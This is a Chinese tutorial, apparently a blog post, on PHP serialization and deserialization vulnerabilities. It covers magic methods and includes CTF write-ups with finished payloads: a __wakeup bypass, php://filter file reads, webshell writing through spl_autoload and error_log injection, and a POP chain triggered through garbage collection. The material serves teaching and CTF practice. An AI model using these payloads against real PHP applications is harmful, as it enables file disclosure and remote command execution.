反序列化漏洞详解
反序列化漏洞
-
序列化
-
作用
- 序列化 (Serialization)是将对象的状态信息(属性)转换为可以存储或传输的形式的过程
对象-->(序列化)-->字符串
-
一般形式
-
<?php $a=null; echo serialize(a); ?>
-
-
转换格式
-
所有格式第一位都是数据类型的英文字母的缩写
字符 null ---->(序列化)-----> N; 整型 666 ---->(序列化)-----> i:666; 浮点型 66.6 ---->(序列化)-----> d:66.6; 布尔型 true ---->(序列化)-----> b:1; false ---->(序列化)-----> b:0; 字符串 hahaha ---->(序列化)-----> s:6(长度):"hahaha"; -
对于输入的不规则字符,如
haha"haha,序列化后为s:9:"haha"haha";
-
-
序列化对象
-
数组序列化
-
<?php $a=array('haha','laoniu','datou'); echo serialize($a); ?> -
输出就是
a(数组简称):3(元素个数):{i:0(第一位元素);s:4:"haha";i:1(第二位元素);s:6:"laoniu";i:2(第三位元素);s:5:"dayou";}
-
-
对象序列化
-
<?php class test{ /////抽象类 public $b='dazhao'; function jineng(){ echo $this->pub; } } $a = new test(); ///转为实例对象 echo serialize($a); ?> -
不能序列化类,但能序列化对象
输出O(object):4(类名长度):"test"(类名):1(变量数量):{s:1(变量名字长度):"b"(变量名字);s:5(值的长度):"dazhao"(变量值);}
-
-
私有属性序列化
-
<?php class test{ /////抽象类 private $b='dazhao'; ///private修饰的私有属性 function jineng(){ echo $this->b; } } $a = new test(); ///转为实例对象 echo serialize($a); ?> -
输出为
O:4:"test":1:{s:7:"0test0b";s:5:"dazhao";},对于变量名的输出,由于是对私有属性序列化,会在变量名(b)前加上类名(test),此时总长度为5,然后在类名前后(test)加上"0",其输出样式类似于正方形(这里为了展示方便,手动添加0),此时总长度为7
![屏幕截图 2025-04-29 100819]()
-
通过URL编码确认
<?php class test{ private $b='dazhao'; function jineng(){ echo $this->b; } } $a = new test(); echo urlencode(serialize($a)); ?> -
输出
O%3A4%3A%22test%22%3A1%3A%7Bs%3A7%3A%22%00test%00b%22%3Bs%3A6%3A%22dazhao%22%3B%7D ///此时可以看出 'test'前后都多了两个 "%00",这就是通过编码展现的0(即空)
-
-
受保护对象序列化
-
<?php class test{ /////抽象类 protected $b='dazhao'; ///protected修饰的私有属性 function jineng(){ echo $this->b; } } $a = new test(); ///转为实例对象 echo serialize($a); ?> -
输出如下,可以发现相对于私有属性的序列化,只是将类名更换为 *
![屏幕截图 2025-04-29 100950]()
-
通过URL编码确认
<?php class test{ /////抽象类 protected $b='dazhao'; ///protected修饰的私有属性 function jineng(){ echo $this->b; } } $a = new test(); ///转为实例对象 echo urlencode(serialize($a)); ?> -
O%3A4%3A%22test%22%3A1%3A%7Bs%3A4%3A%22%00%2A%00b%22%3Bs%3A6%3A%22dazhao%22%3B%7D /// * 经过URL编码后为%2A,故类名那一块为%00%2A%00
-
-
多重序列化
-
<?php class test{ /////抽象类 var $b='dazhao'; function jineng(){ echo $this->b; } } class test2{ var $ben; function __construct(){ $this->ben=new test(); } } $a = new test2(); ///转化为实例对象 echo serialize($a); ?> -
输出为
O:5:"test2":1:{s:3:"ben";O:4:"test":1:{s:1:"b";s:6:"dazhao";}},在一个对象中调用另一个对象,而其对应变量名对应的值就是另外一个对象序列化后的所有输出
-
-
-
-
反序列化
-
特性
- 反序列化之后的内容为一个对象
- 反序列化生成的对象里的值,由反序列化里的值提供,与原有类预定义的值无关
- 反序列化不触发类的成员方法,需要调用方法后才能触发
字符串-->(反序列化)-->对象
-
示例
-
<?php class test{ /////抽象类 public $p='dadada'; function a(){ echo $this->p . "\n"; } } $a = new test(); ///转为实例对象 $b = serialize($a); ///序列化 echo $b . "\n"; ///字符串可以直接查看 $c = unserialize($b); ///反序列化 var_dump($c); ///反序列化后为对象,要使用函数查看 $c->a(); ///调用反序列化后得到的对象 $c 的 a 方法 ?> -
输出为
O:4:"test":1:{s:1:"p";s:6:"dadada";} object(test)#2 (1) { ["p"]=> string(6) "dadada" } dadada
-
-
-
反序列化漏洞
-
成因
- 反序列化过程中,unserialize()接收的值(字符串)可控,通过更改这个值(字符串),得到所需要的代码,通过调用方法,触发代码执行
-
常见的魔术方法
-
__construct()函数
-
触发方法:在实例化对象时,会自动执行此构造函数
-
示例
<?php class test{ public $a; function __construct(){ echo "触发了此函数"; } } $a=new test(); ?> -
输出为:触发了此函数
-
-
__destruct()函数
-
触发方法:对象的析构函数。当对象被销毁时,会自动调用此函数
-
触发方法1:脚本执行结束时(当 PHP 脚本执行到末尾时,脚本中创建的所有对象都会被销毁,此时对象的
__destruct()方法会被触发)<?php class test { function __destruct() { echo "脚本结束,自动销毁对象触发此方法!"; } } $obj = new test(); // 脚本执行到这里结束,$obj 的 __destruct() 方法会被调用 ?>输出为:脚本结束,自动销毁对象触发此方法!
-
触发方法2:手动销毁对象(当使用
unset()函数销毁一个对象变量,或者让对象变量赋值为null时,对象的引用计数会减少。当引用计数为 0 时,对象会被销毁,__destruct()方法也会被触发)<?php class test { function __destruct() { echo "对象被销毁了!"; } } $obj = new test(); unset($obj); // 手动销毁对象,__destruct() 方法会被调用 $obj = null; // 赋值为空,同样会触发 __destruct() 方法 ?>输出为:对象被销毁了!
-
触发方法3:超出作用域(如果对象是在一个函数或者代码块内部创建的,当函数执行完毕或者代码块执行结束,对象会超出其作用域,从而被销毁,
__destruct()方法会被触发)<?php class test { function __destruct() { echo "对象被销毁了!\n"; } } function createObject() { $obj = new test(); // 函数执行结束,$obj 超出作用域,__destruct() 方法会被调用 } createObject(); echo "会先输出什么呢"; ?>输出为:
对象被销毁了! 会先输出什么呢 ///可以发现先执行析构函数后再执行"echo"
-
-
__sleep()函数
-
触发条件:使用
serialize()函数对一个对象进行序列化操作时,PHP 会检查该对象所属的类是否定义了__sleep()方法。如果定义了,就会调用__sleep()方法,这个方法的返回值将决定哪些对象属性会被序列化 -
示例
<?php class User { public $name; public $age; private $password; public function __construct($name, $age, $password) { $this->name = $name; $this->age = $age; $this->password = $password; } public function __sleep() { // 只序列化 $name 和 $age 属性,不序列化 $password 属性 return ['name', 'age']; } } $user = new User('dadada', 20, 'secretpassword'); $serialized = serialize($user); echo $serialized; ?>输出为
O:4:"User":2:{s:4:"name";s:6:"dadada";s:3:"age";i:20;} ///可以发现只返回姓名和年龄,这得益于sleep函数所定义的返回值 -
返回值要求:
__sleep()方法必须返回一个包含属性名的数组,否则会抛出E_NOTICE级别的错误,并且对象不会被序列化 -
示例
<?php class User { public $name; public $age; private $password; public function __construct($name, $age, $password) { $this->name = $name; $this->age = $age; $this->password = $password; } public function __sleep() { // 返回非数组值,会导致序列化错误 return "没有数组哦"; } } $user = new User('dadada', 20, 'secretpassword'); $serialized = serialize($user); echo $serialized; ?>输出为
Notice: serialize(): __sleep() should return an array only containing the names of instance-variables to serialize in...
-
-
__wakeup()函数
-
触发条件:运用
unserialize()函数将一个序列化后的字符串转换回对象时,PHP 会检查该对象所属的类是否定义了__wakeup()方法。若已定义,就会调用此方法。该方法常被用于在对象反序列化后恢复对象的状态,例如重新建立数据库连接、初始化资源等 -
示例
<?php class User { public $username; public $rootname; private $password; private $rootpasswd; public function __wakeup() { $this->password =$this->username; } } $user_ser ='O:4:"User":2:{s:8:"username";s:1:"a";s:8:"rootname";s:1:"b";}'; var_dump(unserialize($user_ser)); ?>输出为
object(User)#1 (4) { ["username"]=> string(1) "a" ["rootname"]=> string(1) "b" ["password":"User":private]=> string(1) "a" ["rootpasswd":"User":private]=> NULL } ///序列化字符串中password本没有值,当反序列化时查看__weakup()函数,发现存在此函数,随即执行此函数,将username的值赋值给password,故password在反序列化之后便有了值,而rootpasswd始终无值,故输出NULL -
利用__wakeup函数连接数据库示例
<?php class DatabaseConnection { private $host; private $username; private $password; private $dbname; private $conn; ///存储数据库连接对象 public function __construct($host, $username, $password, $dbname) { $this->host = $host; $this->username = $username; $this->password = $password; $this->dbname = $dbname; $this->connect(); ///建立数据库连接 } private function connect() { $this->conn = new mysqli($this->host, $this->username, $this->password, $this->dbname); if ($this->conn->connect_error) { die("Connection failed: " . $this->conn->connect_error); } } public function __sleep() { // 只序列化必要的属性,不序列化数据库连接对象 return ['host', 'username', 'password', 'dbname']; } public function __wakeup() { // 在反序列化后重新建立数据库连接 $this->connect(); } public function getConnection() { return $this->conn; } } // 创建对象并序列化 $db = new DatabaseConnection('localhost', 'root', 'password', 'testdb'); $serialized = serialize($db); // 反序列化对象 $unserializedDb = unserialize($serialized); // 获取重新建立的数据库连接 $conn = $unserializedDb->getConnection(); var_dump($conn); ?> -
历史漏洞须知
-
在 PHP 5.6.0 到 7.0.11 以及 7.1.0 到 7.1.0rc3 版本中,
__wakeup()存在一个漏洞,当序列化字符串中表示对象属性个数的值大于实际属性个数时,__wakeup()方法不会被调用。从 PHP 7.0.12 和 7.1.0rc4 开始,这个漏洞已被修复 -
示例漏洞利用
<?php class Name{ private $username = 'nonono'; private $password = 'yesyes'; public function __construct($username,$password){ $this->username = $username; $this->password = $password; } function __wakeup(){ $this->username = 'guest'; } function __destruct(){ if ($this->password != 100) { echo "</br>NO!!!hacker!!!</br>"; echo "You name is: "; echo $this->username;echo "</br>"; echo "You password is: "; echo $this->password;echo "</br>"; die(); } if ($this->username === 'admin') { echo "恭喜你,成功利用漏洞"; }else{ echo "啊哈哈,休想利用我的漏洞"; die(); } } } ?> -
简单的代码审计,可以发现只要密码为100,用户名为admin,即可成功,然而只要进行反序列化后,就会自动调用wakeup()函数,从而强制赋值,因此可以在序列化后增加对象属性个数,从而完成绕过
-
payload如下
<?php class Name{ private $username = 'admin'; private $password = '100'; } $a=new Name(); echo serialize($a); ?> ///将需要的值进行序列化 -
输出为
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";} -
将属性个数更改为大于原本属性个数的值的数(将2改为3)
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";} -
在特定版本php中运行时就可以绕过
-
-
-
__toString()函数
-
触发条件:
- 字符串拼接:当把对象和字符串进行拼接操作时,PHP 会自动调用对象的
__toString()方法,将对象转换为字符串。 - 打印输出:错误将对象当做字符串输出时(如使用
echo、print语句输出对象),__toString()方法会被触发,从而把对象以字符串形式输出。 - 字符串格式化:在使用
sprintf()或printf()等函数进行字符串格式化时,如果需要将对象作为字符串处理,也会触发__toString()方法。
- 字符串拼接:当把对象和字符串进行拼接操作时,PHP 会自动调用对象的
-
示例
<?php class Person { var $a="羞答答"; // 定义 __toString() 魔术方法 public function __toString() { return "干嘛又调用我"; } } // 创建 Person 对象 $person = new Person(); // 触发条件 1: 字符串拼接 $message = "下一步干什么呢:" . $person; echo $message . "\n"; // 触发条件 2: 错误将对象当做字符串输出 echo $person . "\n"; // 触发条件 3: 字符串格式化 printf("%s\n", $person); ?>输出为
下一步干什么呢:干嘛又调用我 干嘛又调用我 干嘛又调用我
-
-
__invoke()函数
-
触发条件:错把对象当做函数来调用,此时PHP 会检查该对象所属的类是否定义了
__invoke()方法。若已定义,就会执行这个方法;若未定义,PHP 会抛出一个致命错误(php7.0以上支持) -
示例
<?php class MyCallableClass { public function __invoke($a,$b) { echo "拜托,是不是又调用错了\n"; return $a+$b; } } $obj = new MyCallableClass(); // 像调用函数一样调用对象 $c=$obj(1, 2); echo $c; ?>输出为
拜托,是不是又调用错了 3
-
-
__call()函数
-
触发条件:尝试调用一个对象中并不存在或者不可访问(如私有或受保护方法且当前作用域无权访问)的方法时,PHP 会自动触发该对象所属类中定义的
__call()方法 -
__call()方法只能处理对象实例的方法调用,对于静态方法调用,需要使用__callStatic()方法。 -
__call()方法必须是public访问权限,否则无法正常触发 -
示例
<?php class MagicCallExample { public function __call($name, $arguments) { echo "你尝试调用的方法 {$name} 不存在。"; echo "传递的参数是:"; print_r($arguments); } } $obj = new MagicCallExample(); // 尝试调用一个不存在的方法 $obj->nonExistentMethod('欧克瑟', '焰之拿瓦'); ?>输出为
你尝试调用的方法 nonExistentMethod 不存在。传递的参数是:Array ( [0] => 欧克瑟 [1] => 焰之拿瓦 ) -
$name:这是一个字符串类型的参数,表示被调用的不存在的方法名 -
$arguments:它是一个数组,包含了调用该不存在的方法时所传递的所有参数
-
-
__callStatic()函数
-
触发条件:调用的方法不存在时触发,返回不存在的方法和参数(与call()函数类似)
-
示例
<?php class MagicCallExample { ///此处要加上static public static function __callStatic($name, $arguments) { echo "你尝试调用的方法 {$name} 不存在。"; echo "传递的参数是:"; print_r($arguments); } } $obj = new MagicCallExample(); // 尝试调用一个不存在的方法 $obj::nonExistentMethod('欧克瑟', '焰之拿瓦'); ///::表示静态调用 ?>输出为
你尝试调用的方法 nonExistentMethod 不存在。传递的参数是:Array ( [0] => 欧克瑟 [1] => 焰之拿瓦 )
-
-
__get()函数
-
触发条件:尝试访问一个对象里不可访问(如私有或受保护属性)或者不存在的属性时,PHP 会自动触发该对象所属类中定义的
__get()方法 -
示例
<?php class test { public $have = '这是一个公有属性'; private $have_1='这是一个私有属性'; protected $have_2='这是一个受保护的属性'; function __get($name) { return "属性 {$name} 不存在。"; } } $obj = new test(); echo $obj->have; echo "\n"; echo $obj->have_1; echo "\n"; echo $obj->have_2; echo "\n"; echo $obj->not; ?>输出为
这是一个公有属性 属性 have_1 不存在。 属性 have_2 不存在。 属性 not 不存在。 ///只有第一个参数修饰符为public,故可以访问
-
-
__set()函数
-
触发条件:在给不可访问或不存在的属性赋值时被自动调用,会返回不存在或不可访问的元素名以及值(实现属性的赋值控制、数据验证、日志记录等功能)
-
示例
<?php class MyClass { private $one; public $two; protected $thrid; public function __set($name, $value) { echo '属性为:'.$name.' 值为:'.$value."\n"; } } $obj = new MyClass(); $obj->one = 1; $obj->two = 2; $obj->third = 3; $obj->fourth = '羞答答'; ?>输出为
属性为:one 值为:1 属性为:third 值为:3 属性为:fourth 值为:羞答答 ///只有two为public,所以没有返回
-
-
__isset()函数
-
触发条件:使用
isset()函数或者empty()函数检查对象里不可访问(私有、受保护属性)或者不存在的属性时,PHP 会自动触发该对象所属类中定义的__isset()方法 -
示例
<?php class MyClass { private $one; public $two; protected $thrid; public function __isset($name) { echo '属性为:'.$name.' 不可访问哦'."\n"; } } $obj = new MyClass(); isset($obj->one); empty($obj->two); isset($obj->third); empty($obj->fourth); ?>输出为
属性为:one 不可访问哦 属性为:third 不可访问哦 属性为:fourth 不可访问哦
-
-
__clone()函数
-
触发条件:使用clone关键字拷贝完成一个新对象时,新对象会自动调用定义的
__clone()方法 -
示例
<?php class User{ private $var1; public function __clone(){ echo "拷贝新对象完成"; } } $test = new User(); $claa=clone($test); ?>输出为:
拷贝新对象完成
-
-
-
-
反序列化漏洞实战
-
F5杯 eazy-unserialize
-
进入例题,是一个简单的代码审计
<?php include "mysqlDb.class.php"; class ctfshow{ public $method; public $args; public $cursor; function __construct($method, $args) { $this->method = $method; $this->args = $args; $this->getCursor(); } function getCursor(){ global $DEBUG; if (!$this->cursor) $this->cursor = MySql::getInstance(); if ($DEBUG) { $sql = "DROP TABLE IF EXISTS USERINFO"; $this->cursor->Exec($sql); $sql = "CREATE TABLE IF NOT EXISTS USERINFO (username VARCHAR(64), password VARCHAR(64),role VARCHAR(256)) CHARACTER SET utf8"; $this->cursor->Exec($sql); $sql = "INSERT INTO USERINFO VALUES ('CTFSHOW', 'CTFSHOW', 'admin'), ('HHD', 'HXD', 'user')"; $this->cursor->Exec($sql); } } function login() { list($username, $password) = func_get_args(); $sql = sprintf("SELECT * FROM USERINFO WHERE username='%s' AND password='%s'", $username, md5($password)); $obj = $this->cursor->getRow($sql); $data = $obj['role']; if ( $data != null ) { define('Happy', TRUE); $this->loadData($data); } else { $this->byebye("sorry!"); } } function closeCursor(){ $this->cursor = MySql::destroyInstance(); } function lookme() { highlight_file(__FILE__); } function loadData($data) { if (substr($data, 0, 2) !== 'O:') { return unserialize($data); } return null; } function __destruct() { $this->getCursor(); if (in_array($this->method, array("login", "lookme"))) { @call_user_func_array(array($this, $this->method), $this->args); } else { $this->byebye("fuc***** hacker ?"); } $this->closeCursor(); } function byebye($msg) { $this->closeCursor(); header("Content-Type: application/json"); die( json_encode( array("msg"=> $msg) ) ); } } class Happy{ public $file='flag.php'; function __destruct(){ if(!empty($this->file)) { include $this->file; } } } function ezwaf($data){ if (preg_match("/ctfshow/",$data)){ die("Hacker !!!"); } return $data; } if(isset($_GET["w_a_n"])) { @unserialize(ezwaf($_GET["w_a_n"])); } else { new CTFSHOW("lookme", array()); } -
对于此类题,我们需要找出含有flag的一部分,可以发现如下代码
class Happy{ public $file='flag.php'; function __destruct(){ if(!empty($this->file)) { ///如果给file赋值,则包含所赋的值,反之则包含"flag.php" include $this->file; } } } function ezwaf($data){ if (preg_match("/ctfshow/",$data)){ die("Hacker !!!"); } return $data; } if(isset($_GET["w_a_n"])) { @unserialize(ezwaf($_GET["w_a_n"])); } else { new CTFSHOW("lookme", array()); } -
通过get传参,先对传入的参数进行正则匹配,如果存在“/ctfshow/”,则退出,否则返回传入的参数,然后再进行反序列化,其中__destruct()函数的触发方式上述已讲,这里不再赘述,直接给出最后的payload
<?php class Happy{ ///源码告诉我们flag所在地 public $file='php://filter/convert.base64-encode/resource=flag.php'; function __destruct(){ if(!empty($this->file)) { include $this->file; } } } $a =new Happy(); echo serialize($a); ?> -
将输出通过BP进行重发,对响应内容进行解码,告诉我们flag在"/flag"下
O:5:"Happy":1:{s:4:"file";s:52:"php://filter/convert.base64-encode/resource=flag.php";}![屏幕截图 2025-04-29 213020]()
-
重构payload,重复上述步骤,最后解码获得flag
<?php class Happy{ public $file='php://filter/convert.base64-encode/resource=/flag'; function __destruct(){ if(!empty($this->file)) { include $this->file; } } } $a =new Happy(); echo serialize($a); ?> ///输出为:O:5:"Happy":1:{s:4:"file";s:49:"php://filter/convert.base64-encode/resource=/flag";}![屏幕截图 2025-04-29 213508]()
-
获得
flag:ctfshow{e50fa5a1-6a73-494b-bc05-4808f856059c}
-
-
大牛杯 easy_unserialize
-
进入例题,先对代码进行简单的审计
highlight_file(__FILE__); class main{ public $settings; public $params; public function __construct(){ $this->settings=array( 'display_errors'=>'On', 'allow_url_fopen'=>'On' ); $this->params=array(); } public function __wakeup(){ ///遍历$this->settings数组,把数组里每个键值对的键当作 PHP 配置选项名,值当作配置选项的值,接着用ini_set函数对这些 PHP 配置选项进行设置 foreach ($this->settings as $key => $value) { ini_set($key, $value); } } public function __destruct(){ ///把 $this->params 反序列化后的数据写入到名为 settings.inc 的文件中 file_put_contents('settings.inc', unserialize($this->params)); } } unserialize($_GET['data']); ///.php文件大抵存在此目录下 Notice: Undefined index: data in /var/www/html/index.php on line 39 -
先查看代码中提及的"ini_set"的作用以及可配置项,其中表明我们自主选择option以及value,至于可选的option读者可以自行查看
![屏幕截图 2025-05-05 154523]()
-
尝试找寻与反序列有关的配置项,发现两个与反序列优点的配置项,点击进入查看
![屏幕截图 2025-05-05 155121]()
-
大概意思是指当使用
unserialize()函数对一个序列化的对象进行反序列化操作时,如果被反序列化的对象所对应的类在当前环境中尚未被定义,PHP 默认会将这些未定义类的对象转换为__PHP_Incomplete_Class类型的对象。而unserialize_callback_func选项允许你指定一个回调函数,当遇到未定义的类时,PHP 会调用这个回调函数来尝试加载或定义这些类![屏幕截图 2025-05-05 155323]()
示例
<?php // 定义回调函数 function p($class_name) { echo "尝试加载类: ". $class_name. "\n"; } // 设置 unserialize_callback_func 配置选项,指定p为回调函数 ini_set('unserialize_callback_func', 'p'); // 序列化的字符串,代表一个名为 A 的类的对象 $b = 'O:1:"A":0:{}'; // 进行反序列化操作 $c = unserialize($b); ?> /* 输出为 尝试加载类: A Warning: unserialize(): Function p() hasn't defined the class it was called for in /box/script.php on line 15 */可以发现使用
unserialize_callback_func配置项的时候会触发回调函数同时触发报错 -
(预期解)那么我们是否可以运用此特点来弄一个shell,从而获取flag,将类名设置为 'cat /f*',指定回调函数运行system,但是很遗憾,在PHP中类名只能使用一个特殊符号(' _ '下划线),所以只能想想别的办法
-
当我们把马写入
settings.inc中,如何让它运行我们所写的马呢,查询后发现spl_autoload,简单来说就是当 PHP 代码中使用到一个尚未定义的类时,PHP 会依次调用这些注册的自动加载函数,尝试根据类名加载对应的类文件![屏幕截图 2025-05-05 193937]()
-
那么我们就可以使用
'unserialize_callback_func'=>'spl_autoload',当我们将马写入setting.inc中时,再反序列化一个类名为settings时,就会自动加载类名为settings的.php或.inc文件,这样就可以执行shell了 -
由于会进行两次反序列化,所以别忘了函数内也要进行一次序列化,写马如下,先将第一次获得的shell提交
<?php class main { public $params; public function __construct() { ///由于源代码传入的要是数组,所以这里的key自己选择写入 $this->params = serialize(array( "1"=>"<?php system('cat /f*');?>" )); } } // 第一次序列化后的结果 $firstSerializedParams = (new main())->params; echo "第一次序列化结果: ". $firstSerializedParams. PHP_EOL; // 第二次序列化后的结果 $secondSerializedObject = serialize(new main()); echo "第二次序列化结果: ". $secondSerializedObject. PHP_EOL; ?> /* 输出为: 第一次序列化结果: a:1:{i:1;s:26:"<?php system('cat /f*');?>";} 第二次序列化结果: O:4:"main":1:{s:6:"params";s:44:"a:1:{i:1;s:26:"<?php system('cat /f*');?>";}";} */ -
进行包含,payload如下
<?php class settings{ } class main { public $settings; public $params; public function __construct() { $this->settings=array( "unserialize_callback_func"=>"spl_autoload" ); $this->params=serialize(new settings()); } } echo serialize(new main()); ?> /* 输出为: O:4:"main":2:{s:8:"settings";a:1:{s:25:"unserialize_callback_func";s:12:"spl_autoload";}s:6:"params";s:19:"O:8:"settings":0:{}";} */ -
最后再进行提交,获得flag
![屏幕截图 2025-05-05 202526]()
-
(非预期解)上述提到使用
unserialize_callback_func配置项的时候会触发回调函数同时触发报错,那么报错的内容放在哪里,是否可以指定,继续查询ini_set的option中是否有此选项,发现一个名为"error_log(错误日志)"的配置项,点击查看![屏幕截图 2025-05-05 163403]()
-
从上面的一系列分析可以知道,我们主要对
$setting这个参数进行构造(写入ini_set)<?php class a{ } class main{ public $settings; public $params; public function __construct(){ $this->settings=array( ///指定触发此配置项时的输出(只要存在一个未定义类就触发) 'unserialize_callback_func'=>'就是这样', ///指定错误日志输出的php文件位置 'error_log'=>'/var/www/html/error.php' ); $this->params=serialize(new a); } } echo serialize(new main); ?> /* 输出为 O:4:"main":2:{s:8:"settings";a:2:{s:25:"unserialize_callback_func";s:12:"就是这样";s:9:"error_log";s:23:"/var/www/html/error.php";}s:6:"params";s:12:"O:1:"a":0:{}";} */ -
提交之后,查看error.php看是否写入,发现正常写入,那么可以进行正式的写马
![屏幕截图 2025-05-05 170005]()
![屏幕截图 2025-05-05 170122]()
-
payload如下
<?php class a{ } class main{ public $settings; public $params; public function __construct(){ $this->settings=array( 'unserialize_callback_func'=>'<?php system("cat /f*");?>', 'error_log'=>'/var/www/html/error.php' ); $this->params=serialize(new a); } } echo serialize(new main); ?> -
进入报错日志输出页面查看,发现并没有按原计划执行shell,可能是被转义了
![屏幕截图 2025-05-05 182134]()
-
查看配置项,发现可以通过更改此项配置来进行关闭转义
![屏幕截图 2025-05-05 182357]()
-
重设payload如下
<?php class a{ } class main{ public $settings; public $params; public function __construct(){ $this->settings=array( 'unserialize_callback_func'=>'<?php system("cat /f*");?>', 'error_log'=>'/var/www/html/error.php', 'html_errors'=>'0' ); $this->params=serialize(new a); } } echo serialize(new main); ?> -
最后提交,查看日志页面,获得flag
![屏幕截图 2025-05-05 182717]()
-
-
卷王杯 easy unserialize
-
进入靶场,首先对源代码进行简单审计
class one { public $object; public function MeMeMe() { ///使用用户自定义函数对数组中的每个元素做回调处理 array_walk($this, function($fn, $prev){ if ($fn[0] === "Happy_func" && $prev === "year_parm") { global $talk; echo "$talk"."</br>"; global $flag; echo $flag; } }); } ///对象被销毁时,调用此函数 public function __destruct() { @$this->object->add(); } ///把对象与字符串拼接,错误的打印输出,字符串格式化时触发 public function __toString() { return $this->object->string; } } class second { ///受保护属性,php版本7.1+可以直接将protected修改为public而不影响正常功能 protected $filename; protected function addMe() { return "Wow you have sovled".$this->filename; } ///当调用对象中不存在或不可访问的方法时,触发 public function __call($func, $args) { ///将不存在的方法名与"Me"进行拼接,并且传入$args作为参数 call_user_func([$this, $func."Me"], $args); } } class third { ///私有属性 private $string; ///实例化对象,自动触发 public function __construct($string) { $this->string = $string; } ///访问对象不存在或不可访问属性时触发 public function __get($name) { ///此时var的值等于name的值 $var = $this->$name; ///把 $var 当作数组来处理,尝试调用数组中键为 $name 所对应的值,并且将其作为可调用的函数或者方法来执行 $var[$name](); } } ///输入不为空 if (isset($_GET["ctfshow"])) { $a=unserialize($_GET['ctfshow']); ///反序列化后接着抛出异常,导致不能正常退出,无法触发destruct函数 throw new Exception("高一新生报道"); } else { highlight_file(__FILE__); } -
上述简单的审计我们可以发现,由于最后抛出的异常,导致无法正常销毁对象从而触发对应的函数,所以在这里,我们需要了解一个机制,GC(回收机制),在这里不做过多解释,有兴趣点击查看其他博主的介绍,在这里做一个简单的示例
![屏幕截图 2025-05-06 152702]()
![屏幕截图 2025-05-06 152756]()
可以发现,当我们更改空对象的key更改为0时,成功触发GC,触发析构函数
-
那么开始构建pop链,当触发GC机制时,会触发析构函数,即
GC--->class one::destruct(),此时由于不存在名为add()的方法,自然联想到call()魔术方法,即GC--->class one::destruct()--->class second::call() -
此时通过call_user_func()函数的作用触发addMe()函数[将不存在的方法名add与Me拼接],然后进行字符串拼接(
"Wow you have sovled".$this->filename),自然想到会触发tostring()函数,即GC--->class one::destruct()--->class second::call()--->class one::tostring() -
此时发现访问当前对象的
object属性(该属性是一个对象)中的string属性($this->object->string),由于是私有属性,所以会触发get()函数,即GC--->class one::destruct()--->class second::call()--->class one::tostring()--->class third::get() -
那么最后我们需要考虑的就是,如何才能在最后调用
MeMeMe()这个方法并且满足$fn[0] === "Happy_func" && $prev === "year_parm"-
问题1解决办法:通过数组调用类方法,指定传入的值为
['string' => [new one(), 'MeMeMe']]获取属性值:$var = $this->$name; 这行代码会把 $this->string 的值赋给 $var,此时 $var 的值为 ['string' => [new one(), 'MeMeMe']]。 调用 $var[$name]():接着执行 $var[$name](),也就是 $var['string']()。而 $var['string'] 的值是 [new one(), 'MeMeMe'],若想调用某类中的方法,需先实例化此类之后再添加方法名,当然这因对应的魔术方法而异 -
问题2解决办法:认识array_walk()函数的作用,在此直接给出示例,一看就懂
<?php class a{ public $name = ["123", "234"]; //public $name1 = ["1123", "1234"]; public function MeMeMe() { array_walk($this, function($fn, $prev){ echo "数组名为:".$prev."\n"; echo "0号元素为:".$fn[0]."\n"; echo "1号元素为:".$fn[1]."\n"; }); } } $a = new a(); $a->MeMeMe(); ?> 输出为: 数组名为:name 0号元素为:123 1号元素为:234 /* 数组名为:name1 0号元素为:1123 1号元素为:1234 */ -
所以照猫画虎,就可以验证成功
<?php class one{ public $object; public $year_parm=["Happy_func"]; } ?>
-
-
到现在,所有问题都得到了解决,那么,最终的payload如下
<?php class one{ public $object; public $year_parm=["Happy_func"]; } class second{ public $filename; ///记得更改属性类型 } class third{ private $string; public function __construct() { $this->string = ["string"=>[new one(),"MeMeMe"]]; } } $a=new one(); ///将属性变成对象,以此保证在同一个类里,触发魔术方法 $a->object=new second(); ///继续将属性变回对象,以至于可以跳回one类,触发魔术方法 $a->object->filename=new one(); ///照猫画虎 $a->object->filename->object=new third(); ///触发GC echo urlencode(serialize(array($a,$b=null))); ?> -
输出为:
a%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A6%3A%22second%22%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BO%3A5%3A%22third%22%3A1%3A%7Bs%3A13%3A%22%00third%00string%22%3Ba%3A1%3A%7Bs%3A6%3A%22string%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A3%3A%22one%22%3A2%3A%7Bs%3A6%3A%22object%22%3BN%3Bs%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A1%3Bs%3A6%3A%22MeMeMe%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7D%7Ds%3A9%3A%22year_parm%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A10%3A%22Happy_func%22%3B%7D%7Di%3A1%3BN%3B%7D -
最后记得将value为空的key改为0,提交,即可获得flag
![屏幕截图 2025-05-06 192147]()
-
-



















浙公网安备 33010602011771号